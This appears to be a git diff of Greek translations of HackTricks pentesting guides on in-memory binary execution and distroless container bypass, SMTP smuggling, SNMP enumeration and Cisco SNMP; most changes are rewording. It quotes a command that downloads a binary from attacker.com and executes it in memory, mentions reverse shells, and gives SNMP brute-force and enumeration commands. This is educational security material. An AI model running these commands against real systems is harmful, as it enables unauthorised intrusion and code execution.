Μπορείτε να βρείτε ένα παράδειγμα για το πώς να χρησιμοποιήσετε **memexec για να εκτελέσετε δυαδικά αρχεία από ένα PHP reverse shell** στο [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
|
||||
|
||||
### Memdlopen
|
||||
|
||||
Με παρόμοιο σκοπό με το DDexec, η τεχνική [**memdlopen**](https://github.com/arget13/memdlopen) επιτρέπει έναν **ευκολότερο τρόπο φόρτωσης δυαδικών αρχείων** στη μνήμη για να τα εκτελέσετε αργότερα. Θα μπορούσε ακόμη και να επιτρέπει τη φόρτωση δυαδικών αρχείων με εξαρτήσεις.
|
||||
Με παρόμοιο σκοπό με το DDexec, η τεχνική [**memdlopen**](https://github.com/arget13/memdlopen) επιτρέπει έναν **ευκολότερο τρόπο φόρτωσης δυαδικών αρχείων** στη μνήμη για να τα εκτελέσετε αργότερα. Θα μπορούσε να επιτρέψει ακόμη και τη φόρτωση δυαδικών αρχείων με εξαρτήσεις.
|
||||
|
||||
## Distroless Bypass
|
||||
|
||||
|
@ -121,26 +121,26 @@ wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo
|
|||
Ωστόσο, αν το παραβιασμένο container τρέχει για παράδειγμα μια εφαρμογή flask, τότε το python είναι εγκατεστημένο, και επομένως μπορείτε να αποκτήσετε μια **Python reverse shell**. Αν τρέχει node, μπορείτε να αποκτήσετε μια Node rev shell, και το ίδιο με σχεδόν οποιαδήποτε **γλώσσα scripting**.
|
||||
|
||||
{% hint style="success" %}
|
||||
Χρησιμοποιώντας τη γλώσσα scripting, μπορείτε να **καταγράψετε το σύστημα** χρησιμοποιώντας τις δυνατότητες της γλώσσας.
|
||||
Χρησιμοποιώντας τη γλώσσα scripting μπορείτε να **καταγράψετε το σύστημα** χρησιμοποιώντας τις δυνατότητες της γλώσσας.
|
||||
{% endhint %}
|
||||
|
||||
Αν δεν υπάρχουν **προστασίες `read-only/no-exec`**, μπορείτε να εκμεταλλευτείτε τη reverse shell σας για να **γράψετε στο σύστημα αρχείων τα δυαδικά σας αρχεία** και να τα **εκτελέσετε**.
|
||||
|
||||
{% hint style="success" %}
|
||||
Ωστόσο, σε αυτού του είδους τα containers, αυτές οι προστασίες θα υπάρχουν συνήθως, αλλά μπορείτε να χρησιμοποιήσετε τις **προηγούμενες τεχνικές εκτέλεσης μνήμης για να τις παρακάμψετε**.
|
||||
Ωστόσο, σε αυτού του είδους τα containers, αυτές οι προστασίες συνήθως θα υπάρχουν, αλλά μπορείτε να χρησιμοποιήσετε τις **προηγούμενες τεχνικές εκτέλεσης μνήμης για να τις παρακάμψετε**.
|
||||
{% endhint %}
|
||||
|
||||
Μπορείτε να βρείτε **παραδείγματα** για το πώς να **εκμεταλλευτείτε κάποιες ευπάθειες RCE** για να αποκτήσετε reverse shells γλωσσών scripting και να εκτελέσετε δυαδικά αρχεία από τη μνήμη στο [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Αν ενδιαφέρεστε για μια **καριέρα hacking** και να χακάρετε το αχάκωτο - **προσλαμβάνουμε!** (_απαιτείται άπταιστη γραπτή και προφορική γνώση πολωνικών_).
|
||||
Αν ενδιαφέρεστε για μια **καριέρα hacking** και να χακάρετε το αχάκτο - **προσλαμβάνουμε!** (_απαιτείται άριστη γνώση πολωνικών γραπτά και προφορικά_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -23,7 +23,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
Αυτό συμβαίνει επειδή στο πρωτόκολλο SMTP, τα **δεδομένα του μηνύματος** που θα σταλεί στο email ελέγχονται από έναν χρήστη (επιτιθέμενο) ο οποίος θα μπορούσε να στείλει ειδικά κατασκευασμένα δεδομένα εκμεταλλευόμενος τις διαφορές στους αναλυτές που θα μεταφέρουν επιπλέον emails στον παραλήπτη. Ρίξτε μια ματιά σε αυτό το εικονογραφημένο παράδειγμα από την αρχική ανάρτηση:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (8) (1).png" alt=""><figcaption><p><a href="https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png">https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (8) (1) (1).png" alt=""><figcaption><p><a href="https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png">https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png</a></p></figcaption></figure>
|
||||
|
||||
### How
|
||||
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# 161,162,10161,10162/udp - Pentesting SNMP
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
|
@ -34,21 +34,21 @@ PORT STATE SERVICE REASON VERSION
|
|||
|
||||
### MIB
|
||||
|
||||
Για να διασφαλιστεί ότι η πρόσβαση SNMP λειτουργεί σε διάφορους κατασκευαστές και με διαφορετικούς συνδυασμούς πελάτη-διακομιστή, δημιουργήθηκε η **Βάση Πληροφοριών Διαχείρισης (MIB)**. Η MIB είναι μια **ανεξάρτητη μορφή αποθήκευσης πληροφοριών συσκευών**. Μια MIB είναι ένα **αρχείο κειμένου** στο οποίο αναφέρονται όλα τα ερωτήσιμα **αντικείμενα SNMP** μιας συσκευής σε μια **τυποποιημένη** ιεραρχία δέντρου. Περιέχει τουλάχιστον ένα `Object Identifier` (`OID`), το οποίο, εκτός από τη απαραίτητη **μοναδική διεύθυνση** και ένα **όνομα**, παρέχει επίσης πληροφορίες σχετικά με τον τύπο, τα δικαιώματα πρόσβασης και μια περιγραφή του αντίστοιχου αντικειμένου.\
|
||||
Για να διασφαλιστεί ότι η πρόσβαση SNMP λειτουργεί σε διάφορους κατασκευαστές και με διαφορετικούς συνδυασμούς πελάτη-διακομιστή, δημιουργήθηκε η **Βάση Πληροφοριών Διαχείρισης (MIB)**. Η MIB είναι μια **ανεξάρτητη μορφή αποθήκευσης πληροφοριών συσκευών**. Μια MIB είναι ένα **αρχείο κειμένου** στο οποίο αναφέρονται όλα τα ερωτήσιμα **αντικείμενα SNMP** μιας συσκευής σε μια **τυποποιημένη** ιεραρχία δέντρου. Περιέχει τουλάχιστον ένα `Object Identifier` (`OID`), το οποίο, εκτός από τη **μοναδική διεύθυνση** και ένα **όνομα**, παρέχει επίσης πληροφορίες σχετικά με τον τύπο, τα δικαιώματα πρόσβασης και μια περιγραφή του αντίστοιχου αντικειμένου.\
|
||||
Τα αρχεία MIB γράφονται σε μορφή ASCII κειμένου `Abstract Syntax Notation One` (`ASN.1`). Οι **MIBs δεν περιέχουν δεδομένα**, αλλά εξηγούν **πού να βρείτε ποιες πληροφορίες** και πώς φαίνονται, ποιες τιμές επιστρέφουν για το συγκεκριμένο OID ή ποιος τύπος δεδομένων χρησιμοποιείται.
|
||||
|
||||
### OIDs
|
||||
|
||||
**Object Identifiers (OIDs)** παίζουν κρίσιμο ρόλο. Αυτοί οι μοναδικοί αναγνωριστές έχουν σχεδιαστεί για να διαχειρίζονται αντικείμενα μέσα σε μια **Βάση Πληροφοριών Διαχείρισης (MIB)**.
|
||||
**Object Identifiers (OIDs)** παίζουν κρίσιμο ρόλο. Αυτοί οι μοναδικοί αναγνωριστές έχουν σχεδιαστεί για να διαχειρίζονται αντικείμενα εντός μιας **Βάσης Πληροφοριών Διαχείρισης (MIB)**.
|
||||
|
||||
Τα υψηλότερα επίπεδα των αναγνωριστικών αντικειμένων MIB, ή OIDs, έχουν κατανεμηθεί σε διάφορους οργανισμούς τυποποίησης. Είναι μέσα σε αυτά τα κορυφαία επίπεδα που καθορίζεται το πλαίσιο για τις παγκόσμιες πρακτικές και τα πρότυπα διαχείρισης.
|
||||
Τα υψηλότερα επίπεδα των αναγνωριστικών αντικειμένων MIB, ή OIDs, έχουν κατανεμηθεί σε διάφορους οργανισμούς τυποποίησης. Είναι σε αυτά τα κορυφαία επίπεδα που καθορίζεται το πλαίσιο για τις παγκόσμιες πρακτικές και τα πρότυπα διαχείρισης.
|
||||
|
||||
Επιπλέον, οι προμηθευτές έχουν την ελευθερία να δημιουργούν ιδιωτικούς κλάδους. Μέσα σε αυτούς τους κλάδους, έχουν την **αυτονομία να περιλαμβάνουν διαχειριζόμενα αντικείμενα που σχετίζονται με τις δικές τους γραμμές προϊόντων**. Αυτό το σύστημα διασφαλίζει ότι υπάρχει μια δομημένη και οργανωμένη μέθοδος για την αναγνώριση και τη διαχείριση μιας ευρείας γκάμας αντικειμένων σε διάφορους προμηθευτές και πρότυπα.
|
||||
|
||||
![](<../../.gitbook/assets/SNMP\_OID\_MIB\_Tree (1).png>)
|
||||
|
||||
Μπορείτε να **πλοηγηθείτε** μέσα από ένα **δέντρο OID** από το διαδίκτυο εδώ: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) ή **να δείτε τι σημαίνει ένα OID** (όπως το `1.3.6.1.2.1.1`) επισκεπτόμενοι [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\
|
||||
Υπάρχουν μερικά **γνωστά OIDs** όπως αυτά μέσα στο [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) που αναφέρονται σε μεταβλητές του Simple Network Management Protocol (SNMP) που ορίζονται από το MIB-2. Και από τα **OIDs που εκκρεμούν από αυτό** μπορείτε να αποκτήσετε μερικά ενδιαφέροντα δεδομένα φιλοξενίας (δεδομένα συστήματος, δεδομένα δικτύου, δεδομένα διαδικασιών...)
|
||||
Μπορείτε να **πλοηγηθείτε** μέσω ενός **δέντρου OID** από τον ιστό εδώ: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) ή να **δείτε τι σημαίνει ένα OID** (όπως το `1.3.6.1.2.1.1`) επισκεπτόμενοι [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\
|
||||
Υπάρχουν μερικά **καλά γνωστά OIDs** όπως αυτά μέσα στο [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) που αναφέρονται σε μεταβλητές του Πρωτοκόλλου Απλής Διαχείρισης Δικτύου (SNMP) που ορίζονται από το MIB-2. Και από τα **OIDs που εκκρεμούν από αυτό** μπορείτε να αποκτήσετε μερικά ενδιαφέροντα δεδομένα φιλοξενίας (δεδομένα συστήματος, δεδομένα δικτύου, δεδομένα διαδικασιών...)
|
||||
|
||||
### **Παράδειγμα OID**
|
||||
|
||||
|
@ -58,14 +58,14 @@ PORT STATE SERVICE REASON VERSION
|
|||
|
||||
Ακολουθεί μια ανάλυση αυτής της διεύθυνσης.
|
||||
|
||||
* 1 – αυτό ονομάζεται ISO και καθορίζει ότι αυτό είναι ένα OID. Γι' αυτό όλοι οι OIDs ξεκινούν με "1"
|
||||
* 1 – αυτό ονομάζεται ISO και καθορίζει ότι αυτό είναι ένα OID. Γι' αυτό όλοι οι OIDs ξεκινούν με “1”
|
||||
* 3 – αυτό ονομάζεται ORG και χρησιμοποιείται για να προσδιορίσει τον οργανισμό που κατασκεύασε τη συσκευή.
|
||||
* 6 – αυτό είναι το dod ή το Υπουργείο Άμυνας, το οποίο είναι ο οργανισμός που καθόρισε πρώτος το Διαδίκτυο.
|
||||
* 1 – αυτή η τιμή του διαδικτύου δηλώνει ότι όλες οι επικοινωνίες θα γίνονται μέσω του Διαδικτύου.
|
||||
* 1 – αυτή είναι η τιμή του διαδικτύου για να δηλώσει ότι όλες οι επικοινωνίες θα γίνονται μέσω του Διαδικτύου.
|
||||
* 4 – αυτή η τιμή καθορίζει ότι αυτή η συσκευή κατασκευάζεται από ιδιωτικό οργανισμό και όχι από κυβερνητικό.
|
||||
* 1 – αυτή η τιμή δηλώνει ότι η συσκευή κατασκευάζεται από μια επιχείρηση ή μια επιχειρηματική οντότητα.
|
||||
|
||||
Αυτές οι πρώτες έξι τιμές τείνουν να είναι οι ίδιες για όλες τις συσκευές και σας δίνουν τις βασικές πληροφορίες γι' αυτές. Αυτή η ακολουθία αριθμών θα είναι η ίδια για όλους τους OIDs, εκτός αν η συσκευή κατασκευάζεται από την κυβέρνηση.
|
||||
Αυτές οι πρώτες έξι τιμές τείνουν να είναι οι ίδιες για όλες τις συσκευές και σας δίνουν τις βασικές πληροφορίες γι' αυτές. Αυτή η ακολουθία αριθμών θα είναι η ίδια για όλα τα OIDs, εκτός αν η συσκευή κατασκευάζεται από την κυβέρνηση.
|
||||
|
||||
Προχωρώντας στο επόμενο σύνολο αριθμών.
|
||||
|
||||
|
@ -140,11 +140,11 @@ nmap --script "snmp* and not snmp-brute" <target>
|
|||
|
||||
braa <community string>@<IP>:.1.3.6.* #Bruteforce specific OID
|
||||
```
|
||||
Ευχαριστώ στις εκτεταμένες ερωτήσεις (download-mibs), είναι δυνατή η αρίθμηση ακόμη περισσότερων πληροφοριών σχετικά με το σύστημα με την ακόλουθη εντολή :
|
||||
Ευχαριστώ στις επεκταμένες ερωτήσεις (download-mibs), είναι δυνατή η αρίθμηση ακόμη περισσότερων πληροφοριών σχετικά με το σύστημα με την ακόλουθη εντολή :
|
||||
```bash
|
||||
snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
|
||||
```
|
||||
**SNMP** έχει πολλές πληροφορίες σχετικά με τον υπολογιστή και πράγματα που μπορεί να βρείτε ενδιαφέροντα είναι: **Διεπαφές δικτύου** (διεύθυνση **IPv4** και **IPv6**), Ονόματα χρηστών, Χρόνος λειτουργίας, Έκδοση διακομιστή/λειτουργικού συστήματος, και **διεργασίες**
|
||||
**SNMP** έχει πολλές πληροφορίες σχετικά με τον υπολογιστή και πράγματα που μπορεί να βρείτε ενδιαφέροντα είναι: **Διασυνδέσεις δικτύου** (διεύθυνση **IPv4** και **IPv6**), Ονόματα χρηστών, Χρόνος λειτουργίας, Έκδοση διακομιστή/λειτουργικού συστήματος, και **διεργασίες**
|
||||
|
||||
**που εκτελούνται** (μπορεί να περιέχουν κωδικούς πρόσβασης)....
|
||||
|
||||
|
@ -165,11 +165,11 @@ snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
|
|||
|
||||
### Παράμετροι SNMP για Microsoft Windows
|
||||
|
||||
Μια σειρά από **τιμές Management Information Base (MIB)** χρησιμοποιούνται για την παρακολούθηση διαφόρων πτυχών ενός συστήματος Windows μέσω SNMP:
|
||||
Μια σειρά από **τιμές Διαχείρισης Πληροφοριών Βάσης (MIB)** χρησιμοποιούνται για την παρακολούθηση διαφόρων πτυχών ενός συστήματος Windows μέσω SNMP:
|
||||
|
||||
* **Διεργασίες Συστήματος**: Πρόσβαση μέσω `1.3.6.1.2.1.25.1.6.0`, αυτή η παράμετρος επιτρέπει την παρακολούθηση ενεργών διεργασιών μέσα στο σύστημα.
|
||||
* **Εκτελούμενα Προγράμματα**: Η τιμή `1.3.6.1.2.1.25.4.2.1.2` έχει οριστεί για την παρακολούθηση των προγραμμάτων που εκτελούνται αυτή τη στιγμή.
|
||||
* **Διαδρομές Διεργασιών**: Για να προσδιορίσετε από πού εκτελείται μια διεργασία, χρησιμοποιείται η τιμή MIB `1.3.6.1.2.1.25.4.2.1.4`.
|
||||
* **Διαδρομή Διεργασιών**: Για να προσδιορίσετε από πού εκτελείται μια διεργασία, χρησιμοποιείται η τιμή MIB `1.3.6.1.2.1.25.4.2.1.4`.
|
||||
* **Μονάδες Αποθήκευσης**: Η παρακολούθηση των μονάδων αποθήκευσης διευκολύνεται από το `1.3.6.1.2.1.25.2.3.1.4`.
|
||||
* **Όνομα Λογισμικού**: Για να προσδιορίσετε το λογισμικό που είναι εγκατεστημένο σε ένα σύστημα, χρησιμοποιείται το `1.3.6.1.2.1.25.6.3.1.2`.
|
||||
* **Λογαριασμοί Χρηστών**: Η τιμή `1.3.6.1.4.1.77.1.2.25` επιτρέπει την παρακολούθηση των λογαριασμών χρηστών.
|
||||
|
@ -235,17 +235,17 @@ grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
|
|||
|
||||
## Spoofing
|
||||
|
||||
Εάν υπάρχει μια ACL που επιτρέπει μόνο σε ορισμένες διευθύνσεις IP να ερωτούν την υπηρεσία SMNP, μπορείτε να spoofάρετε μία από αυτές τις διευθύνσεις μέσα στο πακέτο UDP και να καταγράψετε την κίνηση.
|
||||
Αν υπάρχει μια ACL που επιτρέπει μόνο σε ορισμένες IP να κάνουν ερωτήσεις στην υπηρεσία SMNP, μπορείτε να spoofάρετε μία από αυτές τις διευθύνσεις μέσα στο πακέτο UDP και να καταγράψετε την κίνηση.
|
||||
|
||||
## Εξέταση αρχείων ρυθμίσεων SNMP
|
||||
## Εξέταση αρχείων ρύθμισης SNMP
|
||||
|
||||
* snmp.conf
|
||||
* snmpd.conf
|
||||
* snmp-config.xml
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Εάν σας ενδιαφέρει μια **καριέρα hacking** και να χακάρετε το μη χακάριστο - **προσλαμβάνουμε!** (_απαιτείται άπταιστη γραπτή και προφορική πολωνική_).
|
||||
Αν ενδιαφέρεστε για **καριέρα στον hacking** και να χακάρετε το μη χακάριστο - **προσλαμβάνουμε!** (_απαιτείται άπταιστη γραπτή και προφορική πολωνική_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -286,8 +286,8 @@ Command: hydra -P {Big_Passwordlist} -v {IP} snmp
|
|||
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# Cisco SNMP
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
|
@ -23,9 +23,9 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
|
|||
|
||||
## Pentesting Cisco Networks
|
||||
|
||||
**SNMP** λειτουργεί μέσω UDP με θύρες 161/UDP για γενικά μηνύματα και 162/UDP για trap μηνύματα. Αυτό το πρωτόκολλο βασίζεται σε community strings, που λειτουργούν ως κωδικοί πρόσβασης που επιτρέπουν την επικοινωνία μεταξύ SNMP agents και servers. Αυτές οι strings είναι καθοριστικές καθώς προσδιορίζουν τα επίπεδα πρόσβασης, συγκεκριμένα **μόνο ανάγνωση (RO) ή ανάγνωση-εγγραφή (RW) δικαιώματα**. Ένας αξιοσημείωτος επιθετικός παράγοντας για τους pentesters είναι η **βίαιη καταναγκαστική επίθεση σε community strings**, με στόχο την εισβολή σε δικτυακές συσκευές.
|
||||
**SNMP** λειτουργεί μέσω UDP με θύρες 161/UDP για γενικά μηνύματα και 162/UDP για trap μηνύματα. Αυτό το πρωτόκολλο βασίζεται σε community strings, που λειτουργούν ως κωδικοί πρόσβασης που επιτρέπουν την επικοινωνία μεταξύ SNMP agents και servers. Αυτές οι strings είναι κρίσιμες καθώς καθορίζουν τα επίπεδα πρόσβασης, συγκεκριμένα **μόνο ανάγνωση (RO) ή ανάγνωση-γραφή (RW) δικαιώματα**. Ένας αξιοσημείωτος επιθετικός παράγοντας για τους pentesters είναι η **βίαιη παραβίαση των community strings**, με στόχο την εισβολή σε δικτυακές συσκευές.
|
||||
|
||||
Ένα πρακτικό εργαλείο για την εκτέλεση τέτοιων επιθέσεων βίαιης καταναγκαστικής είναι το [**onesixtyone**](https://github.com/trailofbits/onesixtyone), το οποίο απαιτεί μια λίστα πιθανών community strings και τις διευθύνσεις IP των στόχων:
|
||||
Ένα πρακτικό εργαλείο για την εκτέλεση τέτοιων επιθέσεων βίαιης παραβίασης είναι το [**onesixtyone**](https://github.com/trailofbits/onesixtyone), το οποίο απαιτεί μια λίστα πιθανών community strings και τις διευθύνσεις IP των στόχων:
|
||||
```bash
|
||||
onesixtyone -c communitystrings -i targets
|
||||
```
|
||||
|
@ -38,7 +38,7 @@ onesixtyone -c communitystrings -i targets
|
|||
* IP της στοχευμένης συσκευής (**RHOSTS**)
|
||||
* Διαδρομή προορισμού για τα αρχεία ρυθμίσεων (**OUTPUTDIR**)
|
||||
|
||||
Αφού ρυθμιστεί, αυτό το module επιτρέπει τη λήψη των ρυθμίσεων της συσκευής απευθείας σε έναν καθορισμένο φάκελο.
|
||||
Μετά τη ρύθμιση, αυτό το module επιτρέπει τη λήψη των ρυθμίσεων της συσκευής απευθείας σε έναν καθορισμένο φάκελο.
|
||||
|
||||
#### `snmp_enum`
|
||||
|
||||
|
@ -52,22 +52,22 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
|
|||
|
||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Αν ενδιαφέρεστε για **καριέρα στον hacking** και να χακάρετε το μη χακάρισμα - **προσλαμβάνουμε!** (_απαιτείται άριστη γνώση πολωνικών, γραπτά και προφορικά_).
|
||||
Αν ενδιαφέρεστε για **καριέρα στον hacking** και να χακάρετε το μη χακάρισμα - **προσλαμβάνουμε!** (_απαιτείται άπταιστη γραφή και ομιλία στα πολωνικά_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Υποστήριξη HackTricks</summary>
|
||||
|
||||
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
|
||||
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Εγγραφείτε στο** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) ή στο [**telegram group**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
